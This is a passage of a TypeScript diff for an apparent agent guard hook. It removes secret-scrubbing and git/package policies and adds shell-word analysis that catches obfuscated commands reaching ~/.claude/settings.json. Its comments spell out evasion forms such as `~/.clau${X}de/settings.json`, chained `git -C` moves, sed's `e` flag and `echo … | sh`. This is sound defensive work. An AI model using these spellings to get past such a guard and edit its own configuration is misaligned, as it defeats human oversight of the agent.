words.push(current); + return words; +} /** - * The default `destructiveFlags`, and why the condition is these three letters - * rather than "any `git clean`". - * - * `git clean` deletes nothing without `-f` / `--force` (or the config above), - * and `-n` / `--dry-run` only prints — so force is the precondition and - * dry-run is the exemption. What force ALONE removes is untracked files in the - * current directory: the narrowest spelling, and the one people mean when they - * tidy up. These are the letters that widen the blast radius past that: - * - * - `-x` also removes IGNORED files — `.env`, local config, editor state, - * scratch work. That is the data that genuinely cannot be rebuilt by running - * a command, and it is what makes `git clean -fdx` the severe spelling. - * - `-X` removes ONLY ignored files: the same loss, tracked tree untouched. - * - `-d` also removes untracked DIRECTORIES — whole new subtrees git has never - * had a copy of. - * - * A bare `git clean -f` is deliberately absent. It has the smallest radius and - * by far the most traffic, and a guard that fires on the ordinary spelling is - * one people switch off — which would cost them the `-fdx` warning too. Add - * `"f"` to `destructiveFlags` to opt into it. + * The words of a simple command from its head on, the prefixes a shell walks + * past dropped. `viaXargs`: an `xargs` stood among those prefixes. + * `readsStdinProgram`: the command is a bare shell or interpreter, which runs + * whatever is piped into it (`echo '…' | sh`). */ -const GIT_CLEAN_DESTRUCTIVE_FLAGS = ["d", "x", "X"]; - -// warnAllFilesStaged -const GIT_ADD_ALL_RE = /\bgit\s+add\s+(?:-A\b|--all\b|\.(?:\s|$|;|&&|\|\|))/; - -// warnGlobalPackageInstall -const NPM_GLOBAL_RE = /\bnpm\s+(?:install|i)\b(?=.*(?:\s-g\b|--global\b))/; -const YARN_GLOBAL_RE = /\byarn\s+global\s+add\b/; -const PNPM_GLOBAL_RE = /\bpnpm\s+(?:add|install|i)\b(?=.*(?:\s-g\b|--global\b))/; -const BUN_GLOBAL_RE = /\bbun\s+(?:install|add)\b(?=.*(?:\s-g\b|--global\b))/; -const CARGO_INSTALL_RE = /\bcargo\s+install\b/; -const PIP_SYSTEM_RE = /\bpip(?:3)?\s+install\b(?=.*(?:--user\b|--break-system-packages\b))/; - -// preferPackageManager — maps manager name → detection patterns -const PKG_MANAGER_DETECTORS: Record = { - pip: [/\bpip\b/, /\bpip3\b/, /\bpython3?\s+-m\s+pip\b/], - npm: [/\bnpm\b/, /\bnpx\b/], - yarn: [/\byarn\b/], - pnpm: [/\bpnpm\b/, /\bpnpx\b/], - bun: [/\bbun\b/, /\bbunx\b/], - uv: [/\buv\b/], - poetry: [/\bpoetry\b/], - pipenv: [/\bpipenv\b/], - conda: [/\bconda\b/], - cargo: [/\bcargo\b/], -}; - -// warnBackgroundProcess -const NOHUP_RE = /\bnohup\s+\S/; -const SCREEN_DETACH_RE = /\bscreen\s+-[A-Za-z]*d[A-Za-z]*\b/; -const TMUX_DETACH_RE = /\btmux\s+(?:new-session|new)\b[^|&;]*-d\b/; -const DISOWN_RE = /\bdisown\b/; -const BACKGROUND_AMPERSAND_RE = /(?(); -const GIT_BRANCH_CACHE_MAX_ENTRIES = 500; - -function statGitHeadMtimeMs(cwd: string): number | null { - try { - return statSync(join(cwd, ".git", "HEAD")).mtimeMs; - } catch { - return null; +function quoteAwareCommandWords(simple: string): { words: string[]; viaXargs: boolean; readsStdinProgram: boolean } { + const all = quoteAwareWords(simple); + let viaXargs = false; + let shell = false; + let i = 0; + for (; i < all.length; i++) { + const word = all[i]; + const base = commandBasename(word); + if (base === "xargs") viaXargs = true; + if (STDIN_PROGRAM_HEADS.has(base)) shell = true; + const skippable = + ENV_ASSIGNMENT_RE.test(word) || word.startsWith("-") || RUNNER_OPERAND_RE.test(word) || + SHELL_KEYWORD_PREFIXES.has(word) || COMMAND_PREFIX_TOKENS.has(base); + if (!skippable) break; } + const words = all.slice(i); + return { words, viaXargs, readsStdinProgram: shell && words.length === 0 }; } - -function getCurrentBranch(cwd: string): string | null { - try { - const headMtimeMs = statGitHeadMtimeMs(cwd); - const cached = gitBranchCache.get(cwd); - if (cached && headMtimeMs !== null && cached.headMtimeMs === headMtimeMs) { - return cached.branch || null; +/** `e`: sed runs a shell command, as a command (`1e cp …`) or as the flag on `s` (`s/x/y/e`). */ +const SED_RUNS_COMMAND_RE = /(?:^|[;{}\s/0-9$,!])[ \t]*[gpIiMm0-9]*e[gpIiMm0-9]*(?=$|[\s;}])/; +/** `w` and `W`: sed writes the rest of the line's text as a file name, glued on or after a space. */ +const SED_WRITE_FILE_RE = /(?:^|[;{}\s/0-9$,!])[ \t]*[gpIiMm0-9]*[wW][ \t]*([^\n]+)/g; +/** + * The script texts a `sed` command runs: each `-e`/`--expression` value, or the + * first operand when there is none. Null when a script comes from a file + * (`-f`), which cannot be read from here. Options that take a value + * (`-l `, `--line-length `) take it, so the value is never the script. + */ +function sedScripts(rawSimple: string): string[] | null { + const words = quoteAwareWords(rawSimple); + const at = words.findIndex((w) => commandBasename(w) === "sed"); + if (at === -1) return []; + const scripts: string[] = []; + let explicit = false; + for (let i = at + 1; i < words.length; i++) { + const a = words[i]; + if (a === "-e" || a === "--expression") { + scripts.push(words[++i] ?? ""); + explicit = true; + continue; } - const branch = execSync("git rev-parse --abbrev-ref HEAD", { - cwd, - encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], - timeout: 3000, - }).trim(); - if (headMtimeMs !== null) { - if (gitBranchCache.size >= GIT_BRANCH_CACHE_MAX_ENTRIES) gitBranchCache.clear(); - gitBranchCache.set(cwd, { branch, headMtimeMs }); + if (a.startsWith("--expression=")) { + scripts.push(a.slice("--expression=".length)); + explicit = true; + continue; } - return branch || null; - } catch { - return null; + if (a === "--file" || a.startsWith("--file=") || /^-(?!-)[A-Za-z]*f/.test(a)) return null; + if (a === "-l" || a === "--line-length") { + i++; + continue; + } + if (/^-(?!-)[A-Za-z]*e$/.test(a)) { + scripts.push(words[++i] ?? ""); + explicit = true; + continue; + } + if (/^-(?!-)[A-Za-z]*e./.test(a)) { + scripts.push(a.slice(a.indexOf("e") + 1)); + explicit = true; + continue; + } + if (a.startsWith("-")) continue; + if (!explicit && scripts.length === 0) scripts.push(a); } + return scripts; } - -function getHeadSha(cwd: string): string | null { - try { - const sha = execSync("git rev-parse HEAD", { - cwd, - encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], - timeout: 3000, - }).trim(); - return sha || null; - } catch { - return null; +/** + * `text` with each expansion — `$VAR`, `${…}`, `$(…)`, backticks — turned into + * `*`, a pattern that reaches at least every word the shell could produce: + * `~/.claude/settings$X.json`, `~/.clau${X}de/settings.json`, + * `settings$( true ).json` and `~/.fa${X:-ilproofai}` all reach their file, and + * are tried against it like any other glob. Spliced before the text is cut into + * words, so an expansion holding a space stays in its word; an expansion + * standing alone becomes a bare `*`, which the decoys keep from naming + * anything. + * + * One pass with a bracket stack, so nesting and length cost nothing extra: a + * regex bounded to keep unclosed `${` linear also let an expansion longer than + * its bound through unspliced. An unclosed one stays as written. + */ +function spliceWordExpansions(text: string, commandSubstitutionsOnly = false): string { + const spans: Array<[number, number]> = []; + const stack: Array<{ close: string; start: number; expansion: boolean }> = []; + // How many of those are expansions: asking the stack each time made literal + // parentheses followed by `$NAME`s quadratic. + let openExpansions = 0; + const outermost = (): boolean => openExpansions === 0; + let backtick = -1; + for (let i = 0; i < text.length; i++) { + const ch = text[i]; + if (ch === "\\") { + i++; + continue; + } + if (ch === "`") { + if (backtick === -1) backtick = i; + else { + if (outermost()) spans.push([backtick, i + 1]); + backtick = -1; + } + continue; + } + if (backtick !== -1) continue; + if (ch === "$" && (text[i + 1] === "{" || text[i + 1] === "(")) { + const brace = text[i + 1] === "{"; + const expansion = !(brace && commandSubstitutionsOnly); + stack.push({ close: brace ? "}" : ")", start: i, expansion }); + if (expansion) openExpansions++; + i++; + continue; + } + if (ch === "$" && !commandSubstitutionsOnly && /[A-Za-z_]/.test(text[i + 1] ?? "")) { + let j = i + 1; + while (j < text.length && /[A-Za-z0-9_]/.test(text[j])) j++; + if (outermost()) spans.push([i, j]); + i = j - 1; + continue; + } + if (ch === "{" || ch === "(") { + stack.push({ close: ch === "{" ? "}" : ")", start: i, expansion: false }); + continue; + } + if ((ch === "}" || ch === ")") && stack.length > 0 && stack[stack.length - 1].close === ch) { + const open = stack.pop()!; + if (open.expansion) openExpansions--; + if (open.expansion && outermost()) spans.push([open.start, i + 1]); + } } + if (spans.length === 0) return text; + spans.sort((a, b) => a[0] - b[0]); + let out = ""; + let pos = 0; + for (const [start, end] of spans) { + if (start < pos) continue; + out += text.slice(pos, start) + "*"; + pos = end; + } + return out + text.slice(pos); } -interface CiCheck { - name: string; - status: string; - conclusion: string; +/** `$(…)` and backticks, which the shell splices into the word around them. */ +/** A word the shell resolves against the current directory. */ +/** + * A relative glob (`cfg*.json`): where the shell stands is lost, it may expand + * onto the target there as a plain name may (found by hermes on #1053). + */ +function isRelativeGlobWord(word: string): boolean { + return word.length > 0 && !/^[-/~$]/.test(word) && !word.includes("://") && GLOB_METACHAR_RE.test(word); } - -/** Fetch third-party check runs (non-GitHub-Actions) for a commit via the Checks API. */ -function getThirdPartyCheckRuns(cwd: string, sha: string): CiCheck[] { +function isRelativeShellWord(word: string): boolean { + return word.length > 0 && !/^[-/~$]/.test(word) && !word.includes("://") && !GLOB_METACHAR_RE.test(word); +} +/** + * Where `cd ` leaves a shell that stood in `from`, or undefined when + * that cannot be known from the text (`cd -`, `cd $DIR`, `cd "$(dirname …)"`). + */ +function cdDestination(from: string | undefined, operand: string | undefined): string | undefined { + if (operand === undefined || operand === "~" || operand === "$HOME" || operand === "${HOME}") return homedir(); + const home = /^(?:~|\$HOME|\$\{HOME\})\/(.*)$/.exec(operand); + if (home) return resolve(homedir(), home[1]); + if (operand === "-" || operand.includes("$") || operand.includes("`")) return undefined; + if (operand.startsWith("/")) return resolve(operand); + return from === undefined ? undefined : resolve(from, operand); +} +/** + * Whether a git command reaches the target through the directories its `-C` + * options move it to — which no word of its text names: `git -C external -C + * link/.. log --output=settings.json` writes ~/.claude/settings.json with + * `external/link -> ~/.claude/x`. Asked before the walk's own gate, which + * reads only the text. + */ +function gitReachesTarget( + gitWords: string[], + cwds: ReadonlyArray, + names: (text: string) => boolean, + valuesOf: (word: string) => string[] | null = () => null, +): boolean { + const repositories = gitRepositoryDirs(gitWords, cwds, valuesOf); + if (repositories.length === 0) return false; + if (repositories.some((repository) => repository !== GIT_REPOSITORY_LOST && names(repository))) return true; + const lost = repositories.includes(GIT_REPOSITORY_LOST); + return gitWords.some((word) => { + // `--output=`, a value glued to a short option (`-o`), or the word itself. + const value = word.includes("=") ? word.slice(word.indexOf("=") + 1) : /^-[A-Za-z]./.test(word) && !word.startsWith("--") ? word.slice(2) : word; + if (lost && /^--?(?:output|output-directory|o)(?:=|$)|^-o./.test(word) && isRelativeShellWord(value)) return true; + return isRelativeShellWord(value) && repositories.some((repository) => repository !== GIT_REPOSITORY_LOST && names(`${repository}/${value}`)); + }); +} +/** Short options of `cp` and `install` that take a value; `t` is the target directory. */ +const COPY_VALUE_OPTIONS: Readonly> = { cp: "St", install: "gmoSt" }; +/** + * The target directory a `cp` or `install` names, however it is spelled — `-t + * DIR`, `-tDIR`, `-vt DIR`, `-vtDIR`, `--target-directory=DIR` or any prefix + * of it — with the indexes of option values, which are no operands. Not + * `rsync`, whose `-t` is `--times`. + */ +function copyTargetDirectory(head: string, args: readonly string[]): { dir: string; values: Set } | null { + const valued = COPY_VALUE_OPTIONS[head]; + if (!valued) return null; + let dir: string | null = null; + const values = new Set(); + for (let i = 0; i < args.length; i++) { + const arg = args[i]; + if (arg === "--") break; + if (arg.startsWith("--")) { + const eq = arg.indexOf("="); + const name = arg.slice(2, eq === -1 ? undefined : eq); + if (name.length >= 1 && "target-directory".startsWith(name)) { + if (eq !== -1) dir = arg.slice(eq + 1); + else if (i + 1 < args.length) { + dir = args[i + 1]; + values.add(++i); + } + } + continue; + } + if (!arg.startsWith("-") || arg.length < 2) continue; + for (let k = 1; k < arg.length; k++) { + if (!valued.includes(arg[k])) continue; + const rest = arg.slice(k + 1); + let value: string | undefined = rest; + if (rest.length === 0) { + value = args[i + 1]; + if (value !== undefined) values.add(++i); + } + if (arg[k] === "t" && value !== undefined) dir = value; + break; + } + } + return dir === null ? null : { dir, values }; +} +/** Whether a copy's destination word names a directory that exists now, seen from `cwd`. */ +function existingDirectory(word: string, cwd: string | undefined): boolean { + const plain = stripShellQuoting(word); + if (/[$`*?[]/.test(plain)) return false; + const path = cdDestination(cwd, plain); + return path !== undefined && isDirectoryNow(path); +} +/** Whether `path` is a directory now, so a `cd` into it succeeds. */ +function isDirectoryNow(path: string): boolean { try { - const json = execFileSync( - "gh", - [ - "api", - `repos/{owner}/{repo}/commits/${sha}/check-runs`, - "--jq", - '.check_runs | map(select(.app.slug != "github-actions")) | map({name: .name, status: .status, conclusion: (.conclusion // "")})', - ], - { - cwd, - encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], - timeout: 15000, - }, - ).trim(); - - if (!json || json === "[]") return []; - return JSON.parse(json) as CiCheck[]; + return statSync(path, { throwIfNoEntry: false })?.isDirectory() === true; } catch { - return []; + return false; } } - -/** Fetch commit statuses (legacy Status API) and normalize to CiCheck format. */ -function getCommitStatuses(cwd: string, sha: string): CiCheck[] { - try { - const json = execFileSync( - "gh", - [ - "api", - `repos/{owner}/{repo}/commits/${sha}/statuses`, - "--jq", - 'map({name: .context, state: .state}) | unique_by(.name)', - ], - { - cwd, - encoding: "utf8", stdio: ["pipe", "pipe", "pipe"], - timeout: 15000, - }, - ).trim(); - - if (!json || json === "[]") return []; - const statuses = JSON.parse(json) as Array<{ name: string; state: string }>; - return statuses.map((s) => ({ - name: s.name, - status: s.state === "pending" ? "in_progress" : "completed", - conclusion: s.state === "pending" ? "" : s.state === "success" ? "success" : "failure", - })); - } catch { - return []; +/** `text` cut at every match of `separator`, as `[start, end)` ranges. */ +function cutRanges(text: string, separator: RegExp): Array<[number, number]> { + const global = new RegExp(separator.source, separator.flags.includes("g") ? separator.flags : `${separator.flags}g`); + const ranges: Array<[number, number]> = []; + let start = 0; + for (const match of text.matchAll(global)) { + ranges.push([start, match.index]); + start = match.index + match[0].length; } + ranges.push([start, text.length]); + return ranges; } - /** - * Check if a command matches an allow pattern using token-by-token comparison. - * The "*" token is a wildcard. Extra command tokens beyond the pattern are allowed, - * UNLESS any token is a standalone shell operator (&&, ||, |, ;) OR contains an - * embedded shell metacharacter — both cases are rejected to prevent bypass via - * appended sub-commands or glued operators (e.g. "nginx;" or "nginx;evil"). + * One command's disk-glob work: each directory read once, and bounds on the + * entries read, the entries matched and the paths checked across all of its + * globs. Only a command built to stall the guard reaches them, and one that + * does reads as reaching the target: a limit never stands for "no match". */ -function matchesAllowedPattern(cmd: string, pattern: string): boolean { - const cmdTokens = parseArgvTokens(cmd); - const patTokens = parseArgvTokens(pattern); - if (cmdTokens.length < patTokens.length) return false; - // Reject commands containing standalone shell-operator tokens - if (cmdTokens.some((tok) => SHELL_OPERATORS.has(tok))) return false; - // Reject any token containing embedded shell metacharacters - if (cmdTokens.some((tok) => SHELL_METACHAR_RE.test(tok))) return false; - return patTokens.every((tok, i) => tok === "*" || tok === cmdTokens[i]); +interface DiskGlobBudget { + listings: Map | null>; + /** Directory entries read from disk. */ + entries: number; + /** Entries matched against a pattern, cached listings included. */ + steps: number; + /** Expanded paths handed to the caller's check. */ + checks: number; } - -// -- Policy implementations -- - -function sanitizeJwt(ctx: PolicyContext): PolicyResult { - // PostToolUse: scrub JWT patterns from tool output - const output = JSON.stringify(ctx.payload); - if (JWT_RE.test(output)) { - return { - decision: "deny", - reason: "JWT token detected in tool output", - message: "[REDACTED: JWT token removed by failproofai]", - }; - } - return allow(); +/** The shell options that change what a glob matches, as far as the command turns them on. */ +interface GlobOptions { + /** `*` and `?` match a leading dot (`shopt -s dotglob`, or GLOBIGNORE set). */ + dotglob: boolean; + /** `**` matches any depth of directories (`shopt -s globstar`). */ + globstar: boolean; + /** Matching ignores case (`shopt -s nocaseglob`). */ + nocaseglob: boolean; } - -function sanitizeApiKeys(ctx: PolicyContext): PolicyResult { - // PostToolUse: scrub common API key patterns from tool output - const output = JSON.stringify(ctx.payload); - for (const [pattern, label] of API_KEY_PATTERNS) { - if (pattern.test(output)) { - return { - decision: "deny", - reason: `${label} detected in tool output`, - message: `[REDACTED: ${label} removed by failproofai]`, - }; +/** + * The glob options a command may turn on, in bash's spelling or zsh's. + * + * - dotglob: bash `shopt -s dotglob` or `GLOBIGNORE=`; zsh `setopt globdots` + * (any case, underscores ignored) or a `(D)` glob qualifier. + * - globstar: bash `shopt -s globstar`; zsh `setopt globstarshort`; and any + * `**` or `***` path segment, which zsh recurses into by default. + * - nocaseglob: bash `shopt -s nocaseglob`; zsh `setopt nocaseglob`, + * `unsetopt caseglob`, or the `(#i)` pattern flag. + */ +/** A zsh pattern flag group: `(#i)`, `(#l)`, `(#a2)`. */ +const ZSH_GLOB_FLAG_RE = /\(#[A-Za-z0-9]*\)/; +function globOptionsOf(command: string): GlobOptions { + // zsh option names: case and underscores do not count (`GLOB_DOTS`). + const names = command.toLowerCase().replace(/_/g, ""); + return { + dotglob: /\b(?:dotglob|globdots)\b|globignore=/.test(names) || /\*\([^()|\s]*D[^()|\s]*\)/.test(command), + globstar: /\bglobstar(?:short)?\b/.test(names) || /(?:^|[\s/"'=(])\*{2,3}(?=\/|$|[\s"';&|)])/.test(command), + nocaseglob: + /\bnocaseglob\b/.test(names) || + /\bunsetopt\b[^;&|\n]*\bcaseglob\b/.test(names) || + /\(#[a-z]*i[a-z]*\)/i.test(command), + }; +} +/** A glob segment with each extended-glob group replaced by `*`, which matches at least what the group does. */ +function withExtglobsAsStars(segment: string): string { + let out = ""; + for (let i = 0; i < segment.length; i++) { + const group = extglobAt(segment, i); + if (group) { + out += "*"; + i = group.end; + } else { + out += segment[i]; } } - - // Check additional user-configured patterns - const additional = ((ctx.params?.additionalPatterns ?? []) as Array<{ regex: string; label: string }>); - for (const { regex, label } of additional) { - try { - if (new RegExp(regex).test(output)) { - return { - decision: "deny", - reason: `${label} detected in tool output`, - message: `[REDACTED: ${label} removed by failproofai]`, - }; + return out; +} +/** + * Whether a glob word, expanded on disk as the shell expands it, reaches a + * path `reaches` accepts: braces first, then each segment with glob + * characters matched against the entries of its directory — a leading dot + * only by a pattern that starts with one unless dotglob is on, `**` at any + * depth under globstar — relative to `cwd` when relative. Paths are joined as + * written, never normalised, so a `..` after a link is walked the way the + * kernel walks it. Every path a glob expands to is checked, however many, + * within the command's budget; "exhausted" past it, which the caller reads as + * reaching the target. + */ +function globOnDiskReaches( + word: string, + cwd: string | undefined, + budget: DiskGlobBudget, + options: GlobOptions, + reaches: (path: string) => boolean, +): boolean | "exhausted" { + const join = (base: string, name: string): string => (base.endsWith("/") ? base + name : `${base}/${name}`); + const list = (base: string): Array<{ name: string; dir: boolean }> | null | "exhausted" => { + let entries = budget.listings.get(base); + if (entries === undefined) { + try { + entries = readdirSync(base, { withFileTypes: true }).map((entry) => ({ name: entry.name, dir: entry.isDirectory() })); + } catch { + entries = null; + } + budget.listings.set(base, entries); + budget.entries -= entries?.length ?? 0; + if (budget.entries < 0) return "exhausted"; + } + if (entries === null) return null; + budget.steps -= entries.length; + return budget.steps < 0 ? "exhausted" : entries; + }; + for (const expanded of expandBraces(word)) { + let path = expanded === "~" || expanded.startsWith("~/") ? homedir() + expanded.slice(1) : expanded; + if (!path.startsWith("/")) { + if (cwd === undefined) continue; + path = `${cwd}/${path}`; + } + const segments = path.split("/").filter(Boolean); + const pending: Array<[string, number]> = [["/", 0]]; + while (pending.length > 0) { + const [base, k] = pending.pop()!; + if (k === segments.length) { + if (--budget.checks < 0) return "exhausted"; + if (reaches(base)) return true; + continue; + } + // zsh pattern flags (`(#i)settings.json`) make a segment a pattern even + // with no glob character left; the flag itself matches nothing. + const flagged = ZSH_GLOB_FLAG_RE.test(segments[k]); + const segment = flagged ? segments[k].replace(new RegExp(ZSH_GLOB_FLAG_RE.source, "g"), "") : segments[k]; + if (!flagged && !GLOB_METACHAR_RE.test(segment)) { + pending.push([join(base, segment), k + 1]); + continue; + } + // zsh's `***/` recurses too, following links. + if ((segment === "**" || segment === "***") && options.globstar) { + // Zero directories here, or one more and `**` again below it. + pending.push([base, k + 1]); + const entries = list(base); + if (entries === "exhausted") return "exhausted"; + for (const entry of entries ?? []) { + if (entry.dir && (options.dotglob || !entry.name.startsWith("."))) pending.push([join(base, entry.name), k]); + } + continue; + } + // An extended glob matches no more than a `*` in its place would: that + // superset is what is checked. + const pattern = options.nocaseglob ? segment.toLowerCase() : segment; + const atoms = globAtoms(pattern) ?? globAtoms(withExtglobsAsStars(pattern)); + if (!atoms) return "exhausted"; + const entries = list(base); + if (entries === "exhausted") return "exhausted"; + for (const entry of entries ?? []) { + if (entry.name.startsWith(".") && !segment.startsWith(".") && !options.dotglob) continue; + if (globSegmentMatches(atoms, options.nocaseglob ? entry.name.toLowerCase() : entry.name)) pending.push([join(base, entry.name), k + 1]); } - } catch { - hookLogWarn(`additionalPatterns: invalid regex "${regex}", skipping`); } } - - return allow(); + return false; } - -function sanitizeConnectionStrings(ctx: PolicyContext): PolicyResult { - // PostToolUse: scrub database connection strings with embedded credentials - const output = JSON.stringify(ctx.payload); - if (CONNECTION_STRING_RE.test(output)) { - return { - decision: "deny", - reason: "Database connection string with credentials detected in tool output", - message: "[REDACTED: connection string removed by failproofai]", - }; - } - return allow(); +/** + * An assignment's value as the variable resolver reads it: its quotes off, + * and a single-quoted one with its `$`, backticks and backslashes escaped, + * because the shell expands nothing inside single quotes: `B='$A'` holds the + * text `$A`. + */ +function assignedValueText(raw: string): string { + const single = /^'([\s\S]*)'$/.exec(raw); + if (single) return single[1].replace(/[\\$`]/g, "\\$&"); + return raw.replace(/^"([\s\S]*)"$/, "$1"); } - -function sanitizePrivateKeyContent(ctx: PolicyContext): PolicyResult { - // PostToolUse: scrub PEM private key blocks from tool output - const output = JSON.stringify(ctx.payload); - if (PRIVATE_KEY_RE.test(output)) { - return { - decision: "deny", - reason: "Private key content detected in tool output", - message: "[REDACTED: private key content removed by failproofai]", - }; +/** A shell word with one pair of outer quotes taken off, expansions left in. */ +function withoutOuterQuotes(word: string): string { + return word.replace(/^(["'])([\s\S]*)\1$/, "$2"); +} +/** + * What `printf FORMAT ARGS…` prints, for the conversions a path is made with: + * each `%…` takes the next argument, `%%` is a percent sign, escapes decode, + * and the format repeats while arguments remain. + */ +function printfOutput(format: string, args: readonly string[]): string { + const decoded = decodeAnsiC(format); + let k = 0; + const pass = (): string => decoded.replace(/%(%|[-+ #0]*[0-9]*(?:\.[0-9]+)?[A-Za-z])/g, (_, spec: string) => (spec === "%" ? "%" : (args[k++] ?? ""))); + let out = pass(); + for (let round = 0; round < 64 && k > 0 && k < args.length; round++) out += pass(); + return out; +} +/** + * What a command substitution prints, for the few commands whose output the + * text alone decides: `echo`, `printf`, `basename`, `dirname`, `cat <<< word`, + * and `readlink`/`realpath`, whose output is the path a link resolves to — + * here the link's own name, which the walk resolves itself. Null for anything + * else, which the walk reads as unknown. + */ +function simpleSubstitutionOutput(body: string): string | null { + const words = quoteAwareWords(body.trim()).map(withoutOuterQuotes); + const head = commandBasename(words[0] ?? ""); + const args = words.slice(1); + if (head === "echo") { + let k = 0; + let escapes = false; + for (; k < args.length && /^-[neE]+$/.test(args[k]); k++) escapes ||= args[k].includes("e"); + const text = args.slice(k).join(" "); + return escapes ? decodeAnsiC(text) : text; } - return allow(); + if (head === "printf") return args.length > 0 && !args[0].startsWith("-") ? printfOutput(args[0], args.slice(1)) : null; + const operands = args.filter((a) => !a.startsWith("-")); + if (head === "basename" && operands.length >= 1) { + const name = operands[0].replace(/\/+$/, "").split("/").pop() ?? ""; + const suffix = operands[1]; + return suffix && name.endsWith(suffix) && name !== suffix ? name.slice(0, name.length - suffix.length) : name; + } + if (head === "dirname" && operands.length >= 1) { + const trimmed = operands[0].replace(/\/+$/, ""); + const at = trimmed.lastIndexOf("/"); + return at === -1 ? "." : at === 0 ? "/" : trimmed.slice(0, at); + } + if ((head === "readlink" || head === "realpath") && operands.length >= 1) return operands[operands.length - 1]; + if (head === "cat" && args[0] === "<<<" && args.length === 2) return args[1]; + return null; } - -function sanitizeBearerTokens(ctx: PolicyContext): PolicyResult { - // PostToolUse: scrub Authorization: Bearer tokens from tool output - const output = JSON.stringify(ctx.payload); - if (BEARER_TOKEN_RE.test(output)) { - return { - decision: "deny", - reason: "Bearer token detected in tool output", - message: "[REDACTED: Bearer token removed by failproofai]", +/** What a variable may hold, for `shellWordExpansionForms`: its values, null when unknown, or "complex". */ +type ShellVariableLookup = (name: string) => string[] | "complex" | null; +/** Thrown inside `shellWordExpansionForms` when a word's texts cannot be followed within the limits. */ +class ShellWordTooComplex extends Error {} +/** How many texts one word may stand for before it reads as built to evade. */ +const SHELL_WORD_FORMS_LIMIT = 4096; +/** + * The texts a shell word may become once its expansions run, as far as the + * command's own text says: `$NAME`, `${NAME}`, an array element, and the + * operators a destination is built with — a default (`${A:-cfg.json}`, `-`, + * `=`, `:=`), an alternate (`:+`, `+`), a prefix or suffix removed (`#`, `##`, + * `%`, `%%`), a replacement (`/`, `//`, `/#`, `/%`), a case change (`^^`, `,,`, + * `@U`, `@L`), a substring with literal bounds, a length, an indirection + * (`${!R}`), quoting and `$'…'`. + * + * Only what the text gives is a text: a variable `lookup` cannot know (one the + * environment sets), a command substitution, a positional parameter add + * nothing, so a word made only of those has no texts at all. "complex" is a + * KNOWN value put through an operator this does not follow, or texts past the + * limits — what only a crafted command builds. Pattern matching runs on the + * no-backtracking glob walk, under `budget`, which every word of one command + * shares. + */ +function shellWordExpansionForms( + word: string, + lookup: ShellVariableLookup, + budget: { steps: number }, + /** No text longer: past it the word was built to grow. The walk passes its command's length. */ + maxLength = Math.max(4096, word.length), +): string[] | "complex" { + const product = (left: readonly string[], right: readonly string[]): string[] => { + if (left.length * right.length > SHELL_WORD_FORMS_LIMIT) throw new ShellWordTooComplex(); + const out: string[] = []; + for (const l of left) { + for (const r of right) { + if (l.length + r.length > maxLength) throw new ShellWordTooComplex(); + out.push(l + r); + } + } + return out; + }; + const union = (lists: ReadonlyArray): string[] => { + const out = [...new Set(lists.flat())]; + if (out.length > SHELL_WORD_FORMS_LIMIT) throw new ShellWordTooComplex(); + return out; + }; + const valuesOf = (name: string): string[] => { + const values = lookup(name); + if (values === "complex") throw new ShellWordTooComplex(); + return values ?? []; + }; + // Where the `}` closing a `${` whose body starts at `from` is, past nested + // expansions, quotes and escapes; -1 when it is never closed. + const closeBrace = (s: string, from: number): number => { + let depth = 1; + for (let i = from; i < s.length; i++) { + const ch = s[i]; + if (ch === "\\") i++; + else if (ch === "'") { + const close = s.indexOf("'", i + 1); + if (close === -1) return -1; + i = close; + } else if (ch === "$" && s[i + 1] === "{") { + depth++; + i++; + } else if (ch === "}" && --depth === 0) return i; + } + return -1; + }; + // A pattern as glob atoms, or the literal it also reads as when quoted. + const glob = (pattern: string): GlobAtom[] => { + const atoms = globAtoms(pattern); + if (!atoms || atoms.length > 256) throw new ShellWordTooComplex(); + return atoms; + }; + const matches = (atoms: GlobAtom[], text: string): boolean => { + budget.steps -= (atoms.length + 1) * (text.length + 1); + if (budget.steps < 0) throw new ShellWordTooComplex(); + return globSegmentMatches(atoms, text); + }; + // `${v#p}`, `${v##p}`, `${v%p}`, `${v%%p}`: the shortest or longest match removed. + const removeAffix = (value: string, pattern: string, fromEnd: boolean, longest: boolean): string[] => { + // A quoted pattern is literal: `${v%"*"}` removes a star. + let literal = value; + if (fromEnd && value.endsWith(pattern)) literal = value.slice(0, value.length - pattern.length); + else if (!fromEnd && value.startsWith(pattern)) literal = value.slice(pattern.length); + if (!/[*?[]/.test(pattern)) return [literal]; + const atoms = glob(pattern); + const star: GlobAtom = { kind: "star" }; + // When no prefix (suffix) matches at all, one walk says so. + if (!matches(fromEnd ? [star, ...atoms] : [...atoms, star], value)) return [value, literal]; + // A pattern with no `*` matches one length only, so there is one cut to try. + const fixed = atoms.every((atom) => atom.kind !== "star") ? atoms.length : -1; + const cuts = + fixed === -1 + ? Array.from({ length: value.length + 1 }, (_, i) => i) + : fixed <= value.length + ? [fromEnd ? value.length - fixed : fixed] + : []; + const order = fromEnd === longest ? cuts : cuts.reverse(); + let globbed = value; + for (const cut of order) { + const piece = fromEnd ? value.slice(cut) : value.slice(0, cut); + if (matches(atoms, piece)) { + globbed = fromEnd ? value.slice(0, cut) : value.slice(cut); + break; + } + } + return [globbed, literal]; + }; + // `${v/p/r}`, `//` every match, `/#` at the start, `/%` at the end: the longest match at each place. + const replaceMatches = (value: string, pattern: string, replacement: string, mode: "first" | "all" | "prefix" | "suffix"): string[] => { + // An empty pattern changes nothing, except where it is anchored. + if (pattern === "") return [mode === "prefix" ? replacement + value : mode === "suffix" ? value + replacement : value]; + // A quoted pattern is literal; one with no glob characters is only that. + let literal = value; + if (mode === "all") { + if (value.split(pattern).length * (replacement.length + 1) > maxLength + value.length) throw new ShellWordTooComplex(); + literal = value.split(pattern).join(replacement); + } + else if (mode === "prefix") literal = value.startsWith(pattern) ? replacement + value.slice(pattern.length) : value; + else if (mode === "suffix") literal = value.endsWith(pattern) ? value.slice(0, value.length - pattern.length) + replacement : value; + else if (value.includes(pattern)) { + const at = value.indexOf(pattern); + literal = value.slice(0, at) + replacement + value.slice(at + pattern.length); + } + if (!/[*?[]/.test(pattern)) return [literal]; + const atoms = glob(pattern); + const star: GlobAtom = { kind: "star" }; + // No match anywhere: one walk, not one per place. And at each place, one + // walk first to ask whether any match starts there. + if (!matches([star, ...atoms, star], value)) return [value, literal]; + const startsHere = [...atoms, star]; + const fixed = atoms.every((atom) => atom.kind !== "star") ? atoms.length : -1; + let out = ""; + let replaced = false; + for (let i = 0; i <= value.length; ) { + let end = -1; + if ((mode 